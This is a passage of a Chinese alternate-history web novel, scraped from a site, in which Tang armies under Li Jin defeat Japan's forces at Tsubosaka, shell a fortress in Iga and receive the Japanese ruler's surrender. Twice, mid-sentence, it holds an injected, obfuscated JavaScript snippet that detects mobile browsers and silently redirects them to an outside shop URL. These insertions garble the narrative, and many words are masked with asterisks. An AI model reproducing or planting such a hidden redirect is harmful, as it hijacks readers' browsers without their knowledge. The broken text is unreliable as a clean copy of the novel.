“殿下,倭人倾国而来,兵力恐十倍于我。我军虽精,然深入敌境,地利不在我。是否暂缓进军,稳固九州,待后续补给、援兵?”有将领提出谨慎意见。
李瑾摇头:“不可。我军悬师海外,利在速战。倭国虽大,然其民未必齐心,其军多为仓促拼凑,装备训练远逊于我。若拖延日久,其国内抵抗意志或会凝聚,且我补给线漫长,易生变故。彼欲决战,正合我意!毕其功于一役,彻底击垮其抵抗核心,则余者传檄可定!”
他手指点在地图上关门海峡的位置:“我军当分两步。第一步,水陆并进,突破关门海峡。何总管!”
“末将在!”水师副总管何迦楼起身。
“命你率水师主力,以‘镇’、‘定’字号巨舰为先锋,辅以楼船、艨艟,强行打通关门海峡!海峡两岸若有倭军堡垒,以火炮摧毁之!掩护陆军渡海!务必确保海峡航道畅通,粮道无阻!”
“得令!”
“第二步,”李瑾手指沿本州西部海岸线,划向畿内平原,“陆军渡海后,兵分两路。一路沿海路进军,扫荡沿岸,夺取难波津(大阪港),切断其海上退路并从侧翼威胁奈良。另一路为主力,沿山阳道(日本古代主干道之一)东进,直逼奈良!两路大军,最终会师于奈良京下!”
“倭军主力必在奈良京外围险要处设防,或背靠城池。我军不必急于攻城。当寻其主力,野战歼之!倭军乌合之众,必不耐久持。我以精兵**、火炮之利,诱其来攻,或主动寻其薄弱处击之,必可破敌!”
众将闻言,精神振奋。跟随李瑾征战高句丽,他们对这位主帅的谋略和唐军的战斗力有着绝对的信心。
七月上旬,休整补充完毕的唐军开始行动。何迦楼率领庞大的水师舰队,浩浩荡荡杀向狭窄的关门海峡。海峡两岸,倭军果然修建了一些堡垒,布置了弓箭手和抛石机,企图封锁航道。然而,在唐军巨舰的远程火炮轰击下,这些木石结构的堡垒如同纸糊般被撕碎。唐军水师甚至抵近海岸,用侧舷炮和船首炮对岸上倭军集结地进行覆盖射击,倭军死伤惨重,狼狈溃逃。仅用两日,关门海峡控制权易手,唐军运输船队开始安全渡海。
渡过海峡的唐军陆军四万余人(留万余兵力镇守九州),分为两路。东路军两万五千,由李瑾亲自率领,以安西、陇右精骑为前锋,陌刀队、**手、炮队为中坚,沿山阳道东进。西路军一万五千,以步卒为主,配属部分水师船只和陆战水兵,由一员悍将统领,沿海岸线清剿,目标直指难波津。
唐军的推进速度并不快,但极其稳健。每日行军必先派大量斥候,遇山开路,逢水架桥,步步为营。沿途所遇小股倭军袭扰或据守险隘,皆以雷霆手段迅速清除。倭军试图利用复杂地形节节抵抗,但在唐军小股精锐部队的渗透、**的远程压制、以及关键时刻出现的、由骡马拖曳的轻型火炮(虎蹲炮、小型佛郎机)轰击下,抵抗纷纷瓦解。唐军军纪严明,对主动投降的城镇、村庄秋毫无犯,对顽固抵抗者则毫不留情,有效地分化了倭国民众。
七月中,西路军前锋进抵难波津外围。难波津是倭国最重要的港口之一,也是畿内海上门户。倭军在此布置了重兵防守。西路军并不急于强攻,而是会同支援而来的水师战舰,水陆夹击,用火炮猛轰港口工事和停泊的船只,然后派遣精锐登陆队强攻。战斗持续了三天,难波津陷落,倭国水师残部被焚毁或逃散。唐军获得了又一个重要的补给港口和前进基地,并对奈良形成了侧翼威胁。
与此同时,李瑾亲率的东路军,也击溃了数股试图阻截的倭军,兵锋直指奈良。七月下旬,唐军前锋抵达奈良西郊的生驹山一带。斥候回报,前方开阔的奈良盆地边缘,倭军主力已背靠奈良京(藤原京),沿河流、丘陵,构筑了连绵的营垒防线,旌旗漫山遍野,兵力浩大,估计不下七八万人。
决战,就在眼前。
麟德八年,七月廿五,晴,有风。
奈良京以西,一片相对开阔的平野(约在后世奈良县生驹郡附近),被称为“壶坂”的地方,成为了决战的战场。倭军主力选择在此布阵,背靠后方起伏的丘陵和隐约可见的奈良京城墙,左翼倚靠一条河流,右翼延伸到一片树林边缘,试图利用地形,最大限度地抵消唐军骑兵的冲击力,并迫使唐军在相对狭窄的正面上与其决战。
倭军阵型庞大而杂乱。最前方是临时征召的足轻,手持竹枪、简陋的刀剑,甚至农具,衣衫褴褛,阵型松散。其后是身着简陋胴丸(日式铠甲)或裃(一种礼服,战时作简易护具)的“军团”士兵,装备稍好,有一定队列。再往后,是各贵族、寺社的私兵、僧兵,装备较杂,但多有弓箭、长刀。核心则是位于中军后方、被各色旗帜和贵族车驾环绕的**和藤原不比等的本阵,周围是装备最精良的武士和亲卫。倭军阵中,还夹杂着一些驱赶牛马、装载物资的大车,更显混乱。
与之相比,在壶坂平野西侧列阵的唐军,则显得严整肃杀,如同钢铁森林。两万五千唐军,列成标准的野战阵型。最前方是三排手持巨盾、身披重甲的跳荡兵(突击步兵),其后是数排手持**的**手。**手之后,是主力步兵方阵,长矛如林,横刀雪亮。左右两翼,是蓄势待发的安西、陇右精骑,人马皆披甲,在阳光下泛着冷光。中军核心,李瑾的帅旗高高飘扬,周围是亲卫重步兵和令旗兵、号手。尤为引人注目的是,在步兵方阵之间的空隙和两翼稍后位置,部署着数十门用骡马拖来的轻型火炮,以及数百架小型抛石机和一窝蜂火箭发射架。炮手们正在紧张地进行最后的检查和装填。
晨风拂过原野,吹动两军的旗帜,猎猎作响。空气中弥漫着紧张的肃杀之气,只有战马的嘶鸣和金属摩擦的轻微声响偶尔打破沉寂。
倭军阵中,天武**(实际更多是藤原不比等)试图做最后的动员,宣扬“神国”必胜,保卫“皇都”,但面对唐军那沉默如山、甲胄鲜明的军阵,许多倭军士兵脸上还是露出了难以抑制的恐惧。他们中许多人听说过或亲眼见过九州溃兵描述的、能发出雷霆、摧毁一切的“唐船妖器”(火炮),如今,那些黑黝黝的铁管子就摆在对面的军阵中。
巳时初(上午九点多),唐军阵中响起低沉的号角。随即,令旗挥动。
轰!轰轰轰!
唐军阵中的火炮率先发出怒吼!数十枚实心铁弹和***(内填**、铁渣)划破空气,带着凄厉的呼啸,落入倭军前阵和中部区域!
刹那间,血肉横飞,人仰马翻!实心弹在密集的人群中弹跳翻滚,所过之处,残肢断臂四处抛洒,留下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086395|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一条条恐怖的血路。***凌空或触地**,破片和冲击波将周围的倭兵成片扫倒。倭军前阵顿时大乱,惨叫声、哭喊声响成一片,原本就松散的阵型几乎瞬间崩溃。
“稳住!不许退!弓手,放箭!骑兵,突击!冲垮他们!”倭军将领们声嘶力竭地吼叫着,试图稳住阵脚,并发动反击。他们知道,不能让唐军继续这样单方面轰击。
稀稀落落的箭矢从倭军阵中射出,大多落在唐军盾阵前无力地插在地上。少数倭军骑兵(大多是贵族武士)从两翼嚎叫着冲出,挥舞着长刀,试图冲击唐军侧翼。
唐军阵中令旗再动。左右两翼的**手和部分步兵迅速转向,密集的**箭如同暴雨般泼向冲锋的倭军骑兵。同时,部署在侧翼的轻型火炮也调转炮口,喷射出致命的**(大量小铁丸)!
冲锋的倭骑如同撞上了一堵无形的铁墙,人马在**箭和**的打击下成片倒下。偶有悍勇者冲近,也被唐军步兵的长矛阵轻易刺穿挑落。倭军的第一次反击,如同浪花拍击礁石,瞬间粉身碎骨。
火炮的轰击并未停止,开始延伸射击,重点照顾倭军中后部看起来像是指挥中枢和精锐集结的区域。***的**声连绵不断,浓烟和火光在倭军阵中升腾。
“擂鼓!前进!”李瑾见时机成熟,下达了总攻命令。
咚咚咚!震天的战鼓擂响。唐军庞大的军阵开始如同整体移动的钢铁城池,缓缓向前推进。盾牌如山,长矛如林,步伐整齐,带着无可阻挡的气势,碾压过来。
倭军前阵早已在炮火下崩溃,中军也受到严重打击,士气低迷。面对唐军如山如岳的压迫式推进,许多倭兵开始不由自主地后退。
“不许退!顶住!神国子民,为**尽忠的时刻到了!”一些贵族武士和将领狂喊着,带着亲兵试图向前,但很快被溃退的人流冲散,或被唐军前锋的**射倒。
唐军前进到约百步距离时,**手再次齐射,然后是步兵投掷出一片黑点——那是密密麻麻的手掷雷!
轰轰轰!连绵的**在倭军混乱的队列中响起,加剧了恐慌。唐军重步兵趁机加速,挺着长矛,发出震天的喊杀声,发起了冲锋!
“唐军杀来了!”
“快跑啊!”
“妖法!那是妖法!”
倭军的抵抗意志终于彻底崩溃。前排的足轻和普通士兵最先转身逃跑,冲乱了后方的阵型。整个倭军战线如同雪崩般溃散,士兵们丢盔弃甲,哭喊着向后、向两侧逃窜。贵族武士们徒劳地**逃兵,却无法阻止这股崩溃的洪流。
“骑兵!两翼包抄,追击溃敌,直取敌酋!”李瑾长剑前指。
早已蓄势待发的唐军骑兵,如同两把出鞘的利刃,从左右两翼猛然杀出,绕过正面溃逃的倭军大队,向着倭军后方那杆最大的、绣着金色菊花(皇室纹章)的旗帜直扑而去!那里,是**和藤原不比等的本阵!
“保护陛下!保护大臣!”倭军本阵的亲卫武士们发出绝望的吼叫,试图结阵抵抗。但溃兵如潮水般涌来,冲垮了他们的队列。唐军骑兵如同热刀切黄油般突入本阵,铁蹄践踏,马槊挥舞,横刀劈砍,所向披靡。
藤原不比等在家臣拼死护卫下,仓皇向奈良京方向逃去。而天武**的车驾,则被唐军骑兵追上、包围。护卫的武士们作着最后的、绝望的抵抗,但在绝对的数量和战力差距下,迅速被歼灭。
当李瑾在亲卫簇拥下,来到那辆装饰华贵、却已倾覆的牛车前时,战斗已近尾声。遍野都是溃逃的倭兵和追击的唐军骑兵。少数成建制的倭军仍在负隅顽抗,但败局已定。
牛车旁,几个内侍和贵族打扮的人瘫倒在地,面如死灰。中间一人,身着只有**才能穿戴的“衮冕”(仿唐制礼服),头戴冕冠,虽极力保持镇定,但苍白的脸色和颤抖的双手暴露了他的恐惧。正是倭国的天武**。
李瑾骑在马上,居高临下地看着这位倭国的最高统治者,声音平静却带着不容置疑的威严:“汝便是倭国国王?”
旁边通译战战兢兢地翻译。天武**嘴唇嚅动了几下,似乎想说什么,却终究没有发出声音,只是颓然地点了点头。
“带回大营,严加看管。”李瑾挥了挥手,不再看他,目光投向远处烟尘滚滚的奈良京城墙。
壶坂决战,倭国倾尽国力拼凑的十万大军(实际参战约七八万),在唐军犀利的火器和严整的军阵面前,一战崩溃,伤亡惨重,被俘、投降者不计其数。倭国朝廷的核心——**被俘,重臣逃亡,抵抗的中枢被一举斩断。
奈良京,这座仿照唐长安、洛阳修建的倭国都城,此刻已城门洞开,失去了最后的屏障。夕阳的余晖洒在战场上,映照着遍地的尸骸、丢弃的兵器和残破的旗帜,也映照着唐军如林的枪矛和猎猎飘扬的赤色战旗。
决战,已分胜负。倭国的命运,在这一天,被彻底改变。
第236章 霹雳惊倭寇
壶坂决战的硝烟尚未散尽,但这场战役的余波,却以比战马更快的速度,向着倭国列岛的每一个角落扩散。其核心并非仅仅是唐军大胜、**被俘的结果,更是唐军在战场上所展现的那种超越时代认知、如同雷神震怒般的可怖力量——火器。
对于当时绝大多数倭人而言,无论是贵族、武士,还是平民、僧侣,“火器”是一个完全陌生的概念。他们见过强弓硬**,见过抛石机,甚至听说过隋唐军队使用的“猛火油”(石油燃烧剂),但如雷霆般巨响、喷吐火焰浓烟、能在数百步外将坚固木石堡垒轰成碎片、将密集人群炸得血肉横飞的金属管状物,完全超出了他们的理解范畴。恐慌,如同瘟疫,伴随着溃兵和幸存者的口耳相传,迅速蔓延。
“唐军有雷神相助!那铁管一指,便天雷降世,地火喷发!”
“那不是雷神,是妖法!唐国的妖道,用铁管喷出地狱之火!”
“隔着百丈(约300米)远,人就成片地倒下,身首异处,肠穿肚烂……”
“还有会飞的火蛇(一窝蜂火箭),还有扔过来就炸开的陶罐(手掷雷)……”
“刀枪不入的具足,在那种铁弹面前,像纸糊的一样!”
各种夸张、扭曲、夹杂着迷信和恐惧的描述,在溃逃的倭军、受惊的民众、乃至奈良京的贵族公卿中流传。唐军的火炮、火箭、手掷雷,被蒙上了一层神魔般的色彩。在许多倭人心中,与这样的“天兵”或“妖军”作战,已经不是勇气的问题,而是对不可知力量的绝望。
壶坂战后第三日,李瑾率领唐军主力,兵不血刃地开进了几乎无人防守的奈良京(藤原京)。城门大开,一些留守的中下级官吏和僧侣,战战兢兢地跪在道旁,迎接这支“雷霆之师”。城内一片死寂,许多贵族府邸大门紧闭,百姓躲在家中,从门缝、窗隙中惊恐地窥视着这支甲胄鲜明、纪律严明,却又带着那些可怕“铁管”和古怪车辆(炮车)的军队。
李瑾入城后,第一时间派兵控制了皇宫(当时称“大内里”)、各官衙、武库、粮仓,并张贴安民告示,申明只惩首恶,不扰平民,要求各安其业。他本人则入驻了原太政官署(相当于唐之尚书省),将其改为临时帅府。
接下来的几天,唐军并未急于向本州东部或四国、北海道(当时称虾夷地)进军,而是以奈良为中心,分兵数路,清剿周边溃散的倭军残部,接收附近郡县,恢复基本秩序。同时,派出大量斥候和通事(翻译),打探逃亡的藤原不比等及其他贵族、地方势力的动向,并搜集关于倭国金银矿藏、物产、地理的详细信息。
然而,抵抗并未完全停止。一些忠于皇室或藤原氏的地方豪族、溃散的武士集团、甚至部分激进的僧兵,并不甘心屈服。他们退入山区、海岛,或依托险要的城堡、山寨,企图负隅顽抗,或进行骚扰袭击。尤其是本州东部和东北部(后世关东、东北地区),山高林密,豪族势力根深蒂固,对奈良朝廷的向心力本就有限,此刻更是出现了诸多割据自保甚至意图“勤王”的势力。
其中,有一股规模较大的抵抗力量,以逃出奈良的藤原不比等之侄藤原宇合(历史上实有其人,此时应为青年)为首,**了约五六千溃兵和部分地方豪族武装,盘踞在奈良以东的伊贺国(今三重县西北部)山区。伊贺多山,地形复杂,易守难攻。藤原宇合打出“尊皇讨唐”的旗号,不断袭击唐军小股部队和运粮队,成为奈良周边最大的一颗钉子。
“殿下,藤原宇合所部盘踞伊贺山地,凭险固守,不时出山袭扰。其驻地名为‘鬼薮山城’,据山而建,道路险峻,强攻恐伤亡不小。且其与邻近大和、山城等国的部分不满豪族暗通款曲,若不尽早剿除,恐成燎原之势。”帅府中,负责清剿的将领向李瑾汇报。
李瑾看着地图上伊贺国的位置,微微皱眉。倭国多山,若放任此类抵抗势力坐大,与各地豪族勾结,唐军将陷入无穷无尽的治安战泥潭,这是他绝不愿看到的。必须用一场干净利落、震慑人心的战役,彻底扑灭反抗的火焰,让所有倭人明白,任何抵抗在唐军的绝对力量面前,都是徒劳的。
“藤原宇合……鬼薮山城……”李瑾的手指在地图上敲了敲,“传令,集结五千精兵,其中步卒四千,炮队五百,骑兵五百。另,命何总管水师抽调十艘‘定’字号战船及相应运输船,沿大和川(河)东进,抵近伊贺沿海,听候调遣。三日后,兵发伊贺!”
“得令!”
麟德八年,八月中,李瑾亲率五千唐军,离开奈良,东进伊贺。随行的,除了步骑精锐,还有一支特殊的部队——由五十门轻型火炮(虎蹲炮、小型佛郎机)和两百架一窝蜂火箭发射架组成的炮队,以及大量骡马驮载的**、弹丸。水师船队则沿内河与海岸线提供支援和侧翼掩护。
伊贺多山,道路崎岖。藤原宇合显然得到了唐军前来的消息,收缩兵力,将主力全部撤入鬼薮山城,并在通往山城的几条险要山道上设置了多重鹿砦、陷阱,布置了弓手,企图利用地利,消耗唐军。
然而,他低估了唐军,尤其是唐军工兵的能力,更低估了唐**器在山地战中的可怕适应性。
面对险峻的山道和防御工事,唐军并未盲目强攻。李瑾命令工兵,在火炮和强**的掩护下,利用**爆破、斧锯砍伐,步步为营,稳步清除障碍,拓宽道路。遇到难以攀爬的陡峭崖壁,工兵甚至利用滑轮组和绳索,将轻型火炮和**机吊运上去,建立火力点,压制高处的倭军弓箭手。
唐军的推进速度虽然不快,但极其扎实,每一步都伴随着火炮的轰鸣和**箭的尖啸。倭军辛苦布置的陷阱、鹿砦,往往在一声巨响后被炸得粉碎。躲藏在岩石、树林后的倭军弓手,也常常被不知从何处飞来的炮弹或火箭覆盖。唐军仿佛一台精密的攻城巨兽,无视地形阻碍,缓慢而坚定地碾向鬼薮山城。
五日后,唐军兵临鬼薮山城之下。
鬼薮山城,坐落在一座陡峭的山峰之上,三面绝壁,只有一条蜿蜒曲折、遍布关卡的石阶小路通往山顶的城寨。城寨以巨石和原木垒砌,颇为坚固,易守难攻。藤原宇合站在城头,望着山下如蚂蚁般围拢上来的唐军,心中稍定。如此险要地形,唐军纵有妖法(火器),也难以施展吧?只要坚守一段时间,或许能等到其他豪族的援兵,或者……唐军粮尽自退?
他的信心,在第二天清晨,被一声前所未有的、几乎震塌山岳的巨响彻底击碎。
唐军并未急于从那条唯一的山路强攻。李瑾命令工兵和炮手,在鬼薮山城对面另一座稍矮的山头上,连夜构建了炮兵阵地。五十门轻型火炮,被拆解后由士兵和骡马艰难地运上山,重新组装,黑洞洞的炮口,齐齐对准了数百步外的鬼薮山城。
天色微明,薄雾尚未散尽。
“目标,敌城城墙、箭楼、城门。实心弹、***交替射击。放!”炮队指挥官令旗狠狠挥下。
轰隆——!!!
比壶坂战场更加集中、更加震耳欲聋的炮声,在群山间炸响!五十门火炮次第喷出火舌,浓烟瞬间笼罩了唐军炮兵阵地。数十枚沉重的铁弹和***,带着死神的尖啸,划破晨雾,砸向鬼薮山城!
第一轮齐射,大部分炮弹就准确地命中了目标。实心弹重重地撞击在石墙上,碎石飞溅,城墙剧烈震颤,出现了明显的裂痕。***有的在城头凌空**,有的穿过木制箭楼的窗户在内部炸开,火光迸现,木屑混杂着人体残肢四处横飞。城头一片混乱,惨叫声、惊呼声、木石崩塌声不绝于耳。
“继续射击!无差别覆盖!”炮击并未停止,第二轮、第三轮炮弹接踵而至。唐军炮手们训练有素,装填、瞄准、发射,动作流畅。实心弹专门轰击城墙薄弱处和城门,***则覆盖城头、城内的建筑和人员密集区域。
鬼薮山城,这座在藤原宇合看来固若金汤的山城,在唐军集中炮火轰击下,如同暴风雨中的小船,剧烈地摇晃、**。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086396|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
石墙在炮弹的反复撞击下,裂缝不断扩大,部分地段开始坍塌。木制的箭楼、望楼接二连三地被***点燃,燃起熊熊大火。城内更是成了人间地狱,***的破片和冲击波在狭窄的空间内肆虐,收割着生命。浓烟、火光、灰尘笼罩了整个山顶。
藤原宇合被亲卫拼死拖下城墙,躲进一处石室,耳中依旧嗡嗡作响,满是炮火的轰鸣和部下的惨叫。他脸色惨白,浑身颤抖,再无半点战意。什么地利,什么坚守,在这天崩地裂般的轰击面前,全是笑话!他终于亲身感受到了壶坂溃兵口中那无法形容的恐惧。
炮击持续了约半个时辰(一个小时)。当炮声终于暂时停歇,烟雾稍稍散去时,原本巍峨的鬼薮山城,已经变得满目疮痍。城墙多处崩塌,城门碎裂,城内建筑大半起火,黑烟滚滚。侥幸未死的守军魂飞魄散,如同没头苍蝇般在废墟和烟火中乱窜。
“擂鼓!攻城!”李瑾在山下指挥部,冷静地下令。
战鼓擂响。早已等待多时的唐军步兵,以盾牌手为先导,弓**手掩护,沿着那条山路,向残破的山城发起了冲锋。这一次,几乎没有遇到像样的抵抗。幸存的倭军早已被猛烈的炮火吓破了胆,或瘫软在地束手就擒,或丢下武器向山林深处逃窜。
唐军轻易突破崩塌的城门,冲入城中,清剿残敌。藤原宇合试图从后山小道逃走,被唐军斥候截获,押到李瑾面前。
“尔等倚仗山险,抗拒天兵,可知今日?”李瑾骑在马上,看着跪在泥泞中、失魂落魄的藤原宇合。
藤原宇合嘴唇哆嗦,说不出完整的话,只是不住地磕头。
“拖下去,看押起来,连同此前俘获的倭国伪王(天武**),一并严加看管,日后押送洛阳,听候陛下、天后发落。”李瑾挥挥手,不再看他。他的目光扫过仍在冒烟的鬼薮山城废墟,扫过周围连绵的群山。
“传令全军,将此城彻底焚毁,以儆效尤!”李瑾的声音冰冷,“通告伊贺、大和、山城乃至所有未降之倭国郡县、豪族:抗拒天兵者,鬼薮山城,便是下场!唐军有雷神霹雳相助,荡平丑类,易如反掌!限尔等十日之内,至奈良请降,可保身家性命。逾期不至,或阴怀异志者,大军到处,鸡犬不留!”
“得令!”
熊熊烈火吞噬了鬼薮山城的残骸,浓烟直冲云霄,数十里外可见。伊贺山城被“霹雳”摧毁、藤原宇合被擒的消息,连同李瑾那杀气腾腾的最后通牒,如同长了翅膀般,随着逃散的溃兵和惊恐的百姓,迅速传遍倭国列岛。
“霹雳惊倭寇”,不再仅仅是壶坂决战的一个注脚,而成了一场精心策划的武力展示和心理战。唐军用鬼薮山城的毁灭,向所有倭人,尤其是那些还在观望、犹豫甚至心怀侥幸的地方豪族、武士集团,清晰地传达了一个信息:任何抵抗,在任何地形下,在唐军的“霹雳”面前,都毫无意义,只有死路一条。
恐惧,如同实质的寒流,席卷了本州、四国乃至更远的土地。许多原本还在集结兵力、加固城寨的豪族,闻讯后胆战心惊,纷纷遣使前往奈良,表示臣服。少数顽固者,也士气大跌,内部开始**。
奈良京的唐军帅府前,前来请降、纳款的倭国贵族、地方官、僧侣络绎不绝。李瑾来者不拒,只要献上土地人口图册、缴纳“赎罪钱粮”、并送子弟至军中为质,便既往不咎,甚至允许其保留部分权位。同时,对于主动提供情报、协助唐军清剿残敌的,则给予奖赏。
一手“霹雳”毁灭,一手“怀柔”招抚。在绝对武力的震慑和切实利益的诱导下,倭国本州西部、中部地区的抵抗迅速冰消瓦解。唐军的实际控制区域,以奈良为中心,快速向四周扩展。
而这一切的基石,便是那在壶坂原野和伊贺山巅轰鸣作响、让所有倭人闻风丧胆的——大唐火器。这来自另一个维度的雷霆之力,不仅击溃了倭国的军队,更彻底摧毁了其统治阶层的抵抗意志,为接下来彻底降服这个岛国,铺平了道路。
第237章 **递降表
鬼薮山城的烈焰浓烟尚未散尽,其传递的恐怖信号却已如惊涛骇浪,席卷了整个倭国列岛。“唐军有雷神相助,可唤天火,崩山摧城”——这已不再是溃兵的夸张之词,而是被伊贺山中无数双惊恐的眼睛见证,被山城废墟的断壁残垣所证实的、无可辩驳的“神罚”现实。与这等超越想象的力量为敌,不再是勇武与否的问题,而是彻头彻尾的自取灭亡。
恐慌如同瘟疫,从畿内(奈良周边)向四周疯狂蔓延。本州西部、中部,乃至四国、九州残余的抵抗势力,闻风丧胆。原本还在观望、甚至暗中串联意图“勤王”的地方豪族、国司、郡司们,争先恐后地派出使者,携带降表、礼物、人质,涌向奈良唐军大营。他们跪伏在帅府前,用最谦卑的言辞,表达对大唐天兵的畏惧与臣服,只求保全家族性命与领地。
帅府之内,李瑾端坐主位,何迦楼、金仁问等将领、幕僚分列两旁。案几上堆满了各地送来的降书顺表。空气中弥漫着檀香与墨香,也弥漫着一股无形的、胜利者的威压。
“殿下,据各路人马回报,本州西部、中部六十八国,已有五十三国遣使请降,余者或因地处偏远消息不通,或为虾夷(北海道)化外之地,不足为虑。四国岛诸豪族亦已上表归附。九州残余抵抗已基本肃清。唯本州东北陆奥、出羽等地,山高路远,豪族林立,向不服王化,目前尚无明确消息,但观其态势,亦不敢轻举妄动。”行军司马捧着文书,一一禀报。
李瑾微微颔首,目光沉静。军事上的征服已近完成,但如何将军事胜利转化为稳固的**统治,才是真正的考验。倭国不同于高句丽,它是一个孤悬海外的岛国,有自己独特的语言、文化和统治结构。彻底吞并、直接设郡县,成本太高,也易激起长期反抗。最佳策略,莫过于“羁縻”,即保留其原有统治架构,但置于大唐的绝对宗**和控制之下。
“传令各军,稳扎稳打,控制要地。对请降者,一律以礼相待,准其保留现有职位、领地,但需具结保证书,献上户籍图册,缴纳‘助军粮饷’,并遣嫡子或重要亲族至奈良为质。若有反复,或阴奉阳违者……”李瑾顿了顿,声音转冷,“鬼薮山城,便是前车之鉴。”
“是!”行军司马躬身记录。
“另,以本帅名义,发布安民告示,遍传各郡县。内容要点:一,大唐兴仁义之师,讨伐不庭,止诛首恶,不扰良善。二,倭国自此去帝号,去‘**’僭称,恢复‘倭国王’封号,永为大唐藩属。三,废其‘朱鸟’伪年号,奉大唐‘麟德’正朔。四,倭国朝廷需改组,设‘倭岛都督府’,由大唐派遣都督统辖军政,倭王协理民政。具体细则,待本帅奏明圣上、天后后颁行。五,各地官吏、豪族、僧侣,凡遵大唐号令、安分守己者,皆可保全富贵。”
这道告示,如同一把精准的手术刀,划开了倭国**的核心。去帝号、奉正朔、设都督府——这意味着倭国从名义到实质,都将被完全纳入大唐的宗藩体系,其内政外交、军事大权,将被大唐牢牢掌控。
告示一出,在倭国上层引发了剧烈震荡。一些顽固守旧的贵族、神道教神官,私下哀叹“国体沦丧”、“神裔蒙尘”,但在唐军铁蹄和“霹雳”的威慑下,无人敢公开反抗。更多的贵族、官吏则在恐慌之后,开始思考如何在新秩序下保住、乃至提升自己的地位。毕竟,对许多人来说,头顶是**还是大唐皇帝,差别或许并不如家族的存续和利益来得重要。
而这一切安排的关键前提,是那位被囚禁在奈良某处严密守卫宅邸中的“**”——天武**本人的正式屈服。他需要以一种公开、正式、无法挽回的方式,承认大唐的宗**威,接受李瑾代表大唐皇帝、天后提出的所有条件。只有他这位“现人神”(**在神道教中的神圣身份)低头,大唐对倭国的统治才具备“法理”上的彻底性,才能最大限度地瓦解残余的、基于传统神国观念和**崇拜的抵抗意志。
数日后,经过幕僚的精心准备和与倭国被俘公卿(已被李瑾甄别、部分释放并暂时任用,以维持基本行政运转)的数次沟通,一场旨在终结倭国独立地位的受降仪式,在奈良京皇宫(大内里)正殿——大极殿前的广场上举行。之所以选在此地,意义非凡。大极殿是倭国模仿唐长安太极殿所建,是其举行最重要仪式的场所。在此地接受**的降表,象征着对倭国**核心的彻底征服。
是日,天空阴沉,似有雨意,但并无雨滴落下,只是压抑得让人心头发沉。大极殿前广阔的广场上,旌旗猎猎。五千唐军精锐,顶盔贯甲,持戟荷戈,从宫门一直排列到大殿丹陛之下,组成两条森严的通道。阳光偶尔穿透云层,照亮他们冰冷的甲胄和锋利的兵刃,肃杀之气弥漫天地。广场四周的高处,隐约可见一门门褪去炮衣的轻型火炮,黑黝黝的炮口沉默地指向下方,无声地提醒着所有人,抵抗的下场。
广场正中,丹陛之下,已设好香案、旌节。李瑾身着紫色亲王常服(代表天子出征的象征),外罩明光铠,腰悬御赐“定远”剑,在何迦楼、金仁问等数十员将领、幕僚的簇拥下,肃然立于香案之侧。他神色平静,目光深邃,并无战胜者的骄狂,只有一种俯瞰一切的威严。
辰时三刻,号角长鸣。宫门缓缓打开,一队人从宫内缓缓走出,走向广场中心。
走在最前面的,正是天武**。他已褪去了那日被俘时的“衮冕”,换上了一身素白色的、没有任何纹饰的“帛衣”,披发跣足——这是倭国表示“待罪”或“重大反省”时的最高规格服饰,近乎于罪衣。他脸色苍白,眼窝深陷,数日的囚禁和巨大的精神压力,已让这位曾经高高在上的“现人神”憔悴不堪,步履蹒跚。在他身后,跟着数十名倭国王公贵族、高阶官吏、神官领袖,皆身着素服,低头垂手,面色灰败。这些人,是壶坂之战后被俘或随后主动投降的倭国统治核心,此刻被集中于此,共同见证这**的一刻。
队伍在唐军士兵冰冷目光的注视下,沉默地穿过刀枪组成的甬道,每一步都似有千钧之重。许多倭国贵族浑身颤抖,几乎无法站稳,需要旁人搀扶。空气中弥漫着绝望与**的气息。
行至丹陛之下,距离李瑾及香案约十步,队伍停下。天武**抬起头,目光与李瑾平静却极具穿透力的视线一碰,立刻像被烫到般缩回,深深地低下头去。他身后所有倭人,齐刷刷地跪倒在地,以头触地。
一名通事(翻译)上前,用倭语高声宣道:“倭国罪臣,向大唐皇帝陛下、天后陛下,及钦差征东大元帅、太子太师、英国公李瑾殿下,乞降请罪!”
天武**伏在地上,身体微微颤抖。良久,他才用干涩嘶哑的声音,开始诵读事先准备好的、用汉文书写的《请罪乞降表》。这封降表,由唐军幕僚拟定,倭国公卿润色,最终由天武**亲手抄录(并盖上了倭国“**御玺”和“太政官印”)。言辞极尽卑微悔过之能事:
“臣,倭国小王(自称去帝号),诚惶诚恐,顿首顿首,再拜上书大唐皇帝陛下、天后陛下御前,并叩拜天朝钦差大元帅李公瑾麾下:
“伏惟大唐皇帝陛下,德配天地,光被四表;天后陛下,坤仪载物,明并日月。臣僻处海隅,愚昧无知,不修职贡,妄自尊大,僭称名号,实乃获罪于天,无可祷也。又,臣之先祖,曾于白江口昏聩悖逆,助逆拒顺,冒犯天威,罪孽深重,延及臣身。臣每思及此,战栗流汗,无地自容。
“今幸蒙天朝不记旧恶,遣王师远涉波涛,宣谕德化。本应幡然悔悟,肉袒牵羊,郊迎谢罪。乃惑于奸佞,罔顾天恩,复聚乌合,妄图螳臂,致天兵震怒,雷霆降临。壶坂之败,实乃天谴;奈良失守,咎由自取。百万生灵,几陷涂炭,皆臣之罪也。
